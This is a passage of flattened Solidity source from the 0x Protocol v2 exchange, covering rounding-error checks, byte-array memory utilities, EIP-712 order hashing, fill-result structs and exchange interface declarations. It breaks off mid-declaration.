// The ideal value is `numerator * target / denominator`.
// Let's call `numerator * target % denominator` the remainder.
// The absolute error is `remainder / denominator`.
//
// When the ideal value is zero, we require the absolute error to
// be zero. Fortunately, this is always the case. The ideal value is
// zero iff `numerator == 0` and/or `target == 0`. In this case the
// remainder and absolute error are also zero.
if (target == 0 || numerator == 0) {
return false;
}
// Otherwise, we want the relative rounding error to be strictly
// less than 0.1%.
// The relative error is `remainder / (numerator * target)`.
// We want the relative error less than 1 / 1000:
// remainder / (numerator * denominator) < 1 / 1000
// or equivalently:
// 1000 * remainder < numerator * target
// so we have a rounding error iff:
// 1000 * remainder >= numerator * target
uint256 remainder = mulmod(
target,
numerator,
denominator
);
isError = safeMul(1000, remainder) >= safeMul(numerator, target);
return isError;
}
/// @dev Checks if rounding error >= 0.1% when rounding up.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingErrorCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
// See the comments in `isRoundingError`.
if (target == 0 || numerator == 0) {
// When either is zero, the ideal value and rounded value are zero
// and there is no rounding error. (Although the relative error
// is undefined.)
return false;
}
// Compute remainder as before
uint256 remainder = mulmod(
target,
numerator,
denominator
);
remainder = safeSub(denominator, remainder) % denominator;
isError = safeMul(1000, remainder) >= safeMul(numerator, target);
return isError;
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibBytes {
using LibBytes for bytes;
/// @dev Gets the memory address for a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of byte array. This
/// points to the header of the byte array which contains
/// the length.
function rawAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := input
}
return memoryAddress;
}
/// @dev Gets the memory address for the contents of a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of the contents of the byte array.
function contentAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := add(input, 32)
}
return memoryAddress;
}
/// @dev Copies `length` bytes from memory location `source` to `dest`.
/// @param dest memory address to copy bytes to.
/// @param source memory address to copy bytes from.
/// @param length number of bytes to copy.
function memCopy(
uint256 dest,
uint256 source,
uint256 length
)
internal
pure
{
if (length < 32) {
// Handle a partial word by reading destination and masking
// off the bits we are interested in.
// This correctly handles overlap, zero lengths and source == dest
assembly {
let mask := sub(exp(256, sub(32, length)), 1)
let s := and(mload(source), not(mask))
let d := and(mload(dest), mask)
mstore(dest, or(s, d))
}
} else {
// Skip the O(length) loop when source == dest.
if (source == dest) {
return;
}
// For large copies we copy whole words at a time. The final
// word is aligned to the end of the range (instead of after the
// previous) to handle partial words. So a copy will look like this:
//
// ####
// ####
// ####
// ####
//
// We handle overlap in the source and destination range by
// changing the copying direction. This prevents us from
// overwriting parts of source that we still need to copy.
//
// This correctly handles source == dest
//
if (source > dest) {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because it
// is easier to compare with in the loop, and these
// are also the addresses we need for copying the
// last bytes.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the last 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the last bytes in
// source already due to overlap.
let last := mload(sEnd)
// Copy whole words front to back
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} lt(source, sEnd) {} {
mstore(dest, mload(source))
source := add(source, 32)
dest := add(dest, 32)
}
// Write the last 32 bytes
mstore(dEnd, last)
}
} else {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because those
// are the starting points when copying a word at the end.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the first 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the first bytes in
// source already due to overlap.
let first := mload(source)
// Copy whole words back to front
// We use a signed comparisson here to allow dEnd to become
// negative (happens when source and dest < 32). Valid
// addresses in local memory will never be larger than
// 2**255, so they can be safely re-interpreted as signed.
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} slt(dest, dEnd) {} {
mstore(dEnd, mload(sEnd))
sEnd := sub(sEnd, 32)
dEnd := sub(dEnd, 32)
}
// Write the first 32 bytes
mstore(dest, first)
}
}
}
}
/// @dev Returns a slices from a byte array.
/// @param b The byte array to take a slice from.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
function slice(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
require(
from <= to,
"FROM_LESS_THAN_TO_REQUIRED"
);
require(
to < b.length,
"TO_LESS_THAN_LENGTH_REQUIRED"
);
// Create a new bytes structure and copy contents
result = new bytes(to - from);
memCopy(
result.contentAddress(),
b.contentAddress() + from,
result.length
);
return result;
}
/// @dev Returns a slice from a byte array without preserving the input.
/// @param b The byte array to take a slice from. Will be destroyed in the process.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
/// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted.
function sliceDestructive(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
require(
from <= to,
"FROM_LESS_THAN_TO_REQUIRED"
);
require(
to < b.length,
"TO_LESS_THAN_LENGTH_REQUIRED"
);
// Create a new bytes structure around [from, to) in-place.
assembly {
result := add(b, from)
mstore(result, sub(to, from))
}
return result;
}
/// @dev Pops the last byte off of a byte array by modifying its length.
/// @param b Byte array that will be modified.
/// @return The byte that was popped off.
function popLastByte(bytes memory b)
internal
pure
returns (bytes1 result)
{
require(
b.length > 0,
"GREATER_THAN_ZERO_LENGTH_REQUIRED"
);
// Store last byte.
result = b[b.length - 1];
assembly {
// Decrement length of byte array.
let newLen := sub(mload(b), 1)
mstore(b, newLen)
}
return result;
}
/// @dev Pops the last 20 bytes off of a byte array by modifying its length.
/// @param b Byte array that will be modified.
/// @return The 20 byte address that was popped off.
function popLast20Bytes(bytes memory b)
internal
pure
returns (address result)
{
require(
b.length >= 20,
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
// Store last 20 bytes.
result = readAddress(b, b.length - 20);
assembly {
// Subtract 20 from byte array length.
let newLen := sub(mload(b), 20)
mstore(b, newLen)
}
return result;
}
/// @dev Tests equality of two byte arrays.
/// @param lhs First byte array to compare.
/// @param rhs Second byte array to compare.
/// @return True if arrays are the same. False otherwise.
function equals(
bytes memory lhs,
bytes memory rhs
)
internal
pure
returns (bool equal)
{
// Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare.
// We early exit on unequal lengths, but keccak would also correctly
// handle this.
return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs);
}
/// @dev Reads an address from a position in a byte array.
/// @param b Byte array containing an address.
/// @param index Index in byte array of address.
/// @return address from byte array.
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
require(
b.length >= index + 20, // 20 is length of address
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Read address from array memory
assembly {
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 20-byte mask to obtain address
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
/// @dev Writes an address into a specific position in a byte array.
/// @param b Byte array to insert address into.
/// @param index Index in byte array of address.
/// @param input Address to put into byte array.
function writeAddress(
bytes memory b,
uint256 index,
address input
)
internal
pure
{
require(
b.length >= index + 20, // 20 is length of address
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Store address into array memory
assembly {
// The address occupies 20 bytes and mstore stores 32 bytes.
// First fetch the 32-byte word where we'll be storing the address, then
// apply a mask so we have only the bytes in the word that the address will not occupy.
// Then combine these bytes with the address and store the 32 bytes back to memory with mstore.
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address
let neighbors := and(
mload(add(b, index)),
0xffffffffffffffffffffffff0000000000000000000000000000000000000000
)
// Make sure input address is clean.
// (Solidity does not guarantee this)
input := and(input, 0xffffffffffffffffffffffffffffffffffffffff)
// Store the neighbors and address into memory
mstore(add(b, index), xor(input, neighbors))
}
}
/// @dev Reads a bytes32 value from a position in a byte array.
/// @param b Byte array containing a bytes32 value.
/// @param index Index in byte array of bytes32 value.
/// @return bytes32 value from byte array.
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(
b.length >= index + 32,
"GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"
);
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
/// @dev Writes a bytes32 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input bytes32 to put into byte array.
function writeBytes32(
bytes memory b,
uint256 index,
bytes32 input
)
internal
pure
{
require(
b.length >= index + 32,
"GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"
);
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
mstore(add(b, index), input)
}
}
/// @dev Reads a uint256 value from a position in a byte array.
/// @param b Byte array containing a uint256 value.
/// @param index Index in byte array of uint256 value.
/// @return uint256 value from byte array.
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
/// @dev Writes a uint256 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input uint256 to put into byte array.
function writeUint256(
bytes memory b,
uint256 index,
uint256 input
)
internal
pure
{
writeBytes32(b, index, bytes32(input));
}
/// @dev Reads an unpadded bytes4 value from a position in a byte array.
/// @param b Byte array containing a bytes4 value.
/// @param index Index in byte array of bytes4 value.
/// @return bytes4 value from byte array.
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
require(
b.length >= index + 4,
"GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED"
);
// Arrays are prefixed by a 32 byte length field
index += 32;
// Read the bytes4 from array memory
assembly {
result := mload(add(b, index))
// Solidity does not require us to clean the trailing bytes.
// We do it anyway
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
/// @dev Reads nested bytes from a specific position.
/// @dev NOTE: the returned value overlaps with the input value.
/// Both should be treated as immutable.
/// @param b Byte array containing nested bytes.
/// @param index Index of nested bytes.
/// @return result Nested bytes.
function readBytesWithLength(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes memory result)
{
// Read length of nested bytes
uint256 nestedBytesLength = readUint256(b, index);
index += 32;
// Assert length of <b> is valid, given
// length of nested bytes
require(
b.length >= index + nestedBytesLength,
"GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED"
);
// Return a pointer to the byte array as it exists inside `b`
assembly {
result := add(b, index)
}
return result;
}
/// @dev Inserts bytes at a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input bytes to insert.
function writeBytesWithLength(
bytes memory b,
uint256 index,
bytes memory input
)
internal
pure
{
// Assert length of <b> is valid, given
// length of input
require(
b.length >= index + 32 + input.length, // 32 bytes to store length
"GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED"
);
// Copy <input> into <b>
memCopy(
b.contentAddress() + index,
input.rawAddress(), // includes length of <input>
input.length + 32 // +32 bytes to store <input> length
);
}
/// @dev Performs a deep copy of a byte array onto another byte array of greater than or equal length.
/// @param dest Byte array that will be overwritten with source bytes.
/// @param source Byte array to copy onto dest bytes.
function deepCopyBytes(
bytes memory dest,
bytes memory source
)
internal
pure
{
uint256 sourceLen = source.length;
// Dest length must be >= source length, or some bytes would not be copied.
require(
dest.length >= sourceLen,
"GREATER_OR_EQUAL_TO_SOURCE_BYTES_LENGTH_REQUIRED"
);
memCopy(
dest.contentAddress(),
source.contentAddress(),
sourceLen
);
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract LibEIP712 {
// EIP191 header for EIP712 prefix
string constant internal EIP191_HEADER = "\x19\x01";
// EIP712 Domain Name value
string constant internal EIP712_DOMAIN_NAME = "0x Protocol";
// EIP712 Domain Version value
string constant internal EIP712_DOMAIN_VERSION = "2";
// Hash of the EIP712 Domain Separator Schema
bytes32 constant internal EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256(abi.encodePacked(
"EIP712Domain(",
"string name,",
"string version,",
"address verifyingContract",
")"
));
// Hash of the EIP712 Domain Separator data
// solhint-disable-next-line var-name-mixedcase
bytes32 public EIP712_DOMAIN_HASH;
constructor ()
public
{
EIP712_DOMAIN_HASH = keccak256(abi.encodePacked(
EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH,
keccak256(bytes(EIP712_DOMAIN_NAME)),
keccak256(bytes(EIP712_DOMAIN_VERSION)),
bytes32(address(this))
));
}
/// @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain.
/// @param hashStruct The EIP712 hash struct.
/// @return EIP712 hash applied to this EIP712 Domain.
function hashEIP712Message(bytes32 hashStruct)
internal
view
returns (bytes32 result)
{
bytes32 eip712DomainHash = EIP712_DOMAIN_HASH;
// Assembly for more efficient computing:
// keccak256(abi.encodePacked(
// EIP191_HEADER,
// EIP712_DOMAIN_HASH,
// hashStruct
// ));
assembly {
// Load free memory pointer
let memPtr := mload(64)
mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header
mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash
mstore(add(memPtr, 34), hashStruct) // Hash of struct
// Compute hash
result := keccak256(memPtr, 66)
}
return result;
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract LibOrder is
LibEIP712
{
// Hash for the EIP712 Order Schema
bytes32 constant internal EIP712_ORDER_SCHEMA_HASH = keccak256(abi.encodePacked(
"Order(",
"address makerAddress,",
"address takerAddress,",
"address feeRecipientAddress,",
"address senderAddress,",
"uint256 makerAssetAmount,",
"uint256 takerAssetAmount,",
"uint256 makerFee,",
"uint256 takerFee,",
"uint256 expirationTimeSeconds,",
"uint256 salt,",
"bytes makerAssetData,",
"bytes takerAssetData",
")"
));
// A valid order remains fillable until it is expired, fully filled, or cancelled.
// An order's state is unaffected by external factors, like account balances.
enum OrderStatus {
INVALID, // Default value
INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount
INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount
FILLABLE, // Order is fillable
EXPIRED, // Order has already expired
FULLY_FILLED, // Order is fully filled
CANCELLED // Order has been cancelled
}
// solhint-disable max-line-length
struct Order {
address makerAddress; // Address that created the order.
address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order.
address feeRecipientAddress; // Address that will recieve fees when order is filled.
address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods.
uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 makerFee; // Amount of ZRX paid to feeRecipient by maker when order is filled. If set to 0, no transfer of ZRX from maker to feeRecipient will be attempted.
uint256 takerFee; // Amount of ZRX paid to feeRecipient by taker when order is filled. If set to 0, no transfer of ZRX from taker to feeRecipient will be attempted.
uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires.
uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash.
bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The last byte references the id of this proxy.
bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The last byte references the id of this proxy.
}
// solhint-enable max-line-length
struct OrderInfo {
uint8 orderStatus; // Status that describes order's validity and fillability.
bytes32 orderHash; // EIP712 hash of the order (see LibOrder.getOrderHash).
uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled.
}
/// @dev Calculates Keccak-256 hash of the order.
/// @param order The order structure.
/// @return Keccak-256 EIP712 hash of the order.
function getOrderHash(Order memory order)
internal
view
returns (bytes32 orderHash)
{
orderHash = hashEIP712Message(hashOrder(order));
return orderHash;
}
/// @dev Calculates EIP712 hash of the order.
/// @param order The order structure.
/// @return EIP712 hash of the order.
function hashOrder(Order memory order)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = EIP712_ORDER_SCHEMA_HASH;
bytes32 makerAssetDataHash = keccak256(order.makerAssetData);
bytes32 takerAssetDataHash = keccak256(order.takerAssetData);
// Assembly for more efficiently computing:
// keccak256(abi.encodePacked(
// EIP712_ORDER_SCHEMA_HASH,
// bytes32(order.makerAddress),
// bytes32(order.takerAddress),
// bytes32(order.feeRecipientAddress),
// bytes32(order.senderAddress),
// order.makerAssetAmount,
// order.takerAssetAmount,
// order.makerFee,
// order.takerFee,
// order.expirationTimeSeconds,
// order.salt,
// keccak256(order.makerAssetData),
// keccak256(order.takerAssetData)
// ));
assembly {
// Calculate memory addresses that will be swapped out before hashing
let pos1 := sub(order, 32)
let pos2 := add(order, 320)
let pos3 := add(order, 352)
// Backup
let temp1 := mload(pos1)
let temp2 := mload(pos2)
let temp3 := mload(pos3)
// Hash in place
mstore(pos1, schemaHash)
mstore(pos2, makerAssetDataHash)
mstore(pos3, takerAssetDataHash)
result := keccak256(pos1, 416)
// Restore
mstore(pos1, temp1)
mstore(pos2, temp2)
mstore(pos3, temp3)
}
return result;
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract LibFillResults is
SafeMath
{
struct FillResults {
uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled.
uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled.
uint256 makerFeePaid; // Total amount of ZRX paid by maker(s) to feeRecipient(s).
uint256 takerFeePaid; // Total amount of ZRX paid by taker to feeRecipients(s).
}
struct MatchedFillResults {
FillResults left; // Amounts filled and fees paid of left order.
FillResults right; // Amounts filled and fees paid of right order.
uint256 leftMakerAssetSpreadAmount; // Spread between price of left and right order, denominated in the left order's makerAsset, paid to taker.
}
/// @dev Adds properties of both FillResults instances.
/// Modifies the first FillResults instance specified.
/// @param totalFillResults Fill results instance that will be added onto.
/// @param singleFillResults Fill results instance that will be added to totalFillResults.
function addFillResults(FillResults memory totalFillResults, FillResults memory singleFillResults)
internal
pure
{
totalFillResults.makerAssetFilledAmount = safeAdd(totalFillResults.makerAssetFilledAmount, singleFillResults.makerAssetFilledAmount);
totalFillResults.takerAssetFilledAmount = safeAdd(totalFillResults.takerAssetFilledAmount, singleFillResults.takerAssetFilledAmount);
totalFillResults.makerFeePaid = safeAdd(totalFillResults.makerFeePaid, singleFillResults.makerFeePaid);
totalFillResults.takerFeePaid = safeAdd(totalFillResults.takerFeePaid, singleFillResults.takerFeePaid);
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IExchangeCore {
/// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch
/// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress).
/// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled.
function cancelOrdersUpTo(uint256 targetOrderEpoch)
external;
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
/// @dev After calling, the order can not be filled anymore.
/// @param order Order struct containing order specifications.
function cancelOrder(LibOrder.Order memory order)
public;
/// @dev Gets information about an order: status, hash, and amount filled.
/// @param order Order to gather information on.
/// @return OrderInfo Information about the order and its state.
/// See LibOrder.OrderInfo for a complete description.
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IMatchOrders {
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the left order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders.
function matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
returns (LibFillResults.MatchedFillResults memory matchedFillResults);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ISignatureValidator {
/// @dev Approves a hash on-chain using any valid signature type.
/// After presigning a hash, the preSign signature type will become valid for that hash and signer.
/// @param signerAddress Address that should have signed the given hash.
/// @param signature Proof that the hash has been signed by signer.
function preSign(
bytes32 hash,
address signerAddress,
bytes signature
)
external;
/// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf.
/// @param validatorAddress Address of Validator contract.
/// @param approval Approval or disapproval of Validator contract.
function setSignatureValidatorApproval(
address validatorAddress,
bool approval
)
external;
/// @dev Verifies that a signature is valid.
/// @param hash Message hash that is signed.
/// @param signerAddress Address of signer.
/// @param signature Proof of signing.
/// @return Validity of order signature.
function isValidSignature(
bytes32 hash,
address signerAddress,
bytes memory signature
)
public
view
returns (bool isValid);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ITransactions {
/// @dev Executes an exchange method call in the context of signer.
/// @param salt Arbitrary number to ensure uniqueness of transaction hash.
/// @param signerAddress Address of transaction signer.
/// @param data AbiV2 encoded calldata.
/// @param signature Proof of signer transaction by signer.
function executeTransaction(
uint256 salt,
address signerAddress,
bytes data,
bytes signature
)
external;
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IAssetProxyDispatcher {
/// @dev Registers an asset proxy to its asset proxy id.
/// Once an asset proxy is registered, it cannot be unregistered.
/// @param assetProxy Address of new asset proxy to register.
function registerAssetProxy(address assetProxy)
external;
/// @dev Gets an asset proxy.
/// @param assetProxyId Id of the asset proxy.
/// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered.
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IWrapperFunctions {
/// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled.
/// @param order LibOrder.Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
function fillOrKillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
/// @dev Fills an order with specified parameters and ECDSA signature.
/// Returns false if the transaction would otherwise revert.
/// @param order LibOrder.Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
/// @dev Synchronously executes multiple calls of fillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function batchFillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrKill.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function batchFillOrKillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Fills an order with specified parameters and ECDSA signature.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function batchFillOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been created by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrders(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of makerAsset is bought by taker.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrders(
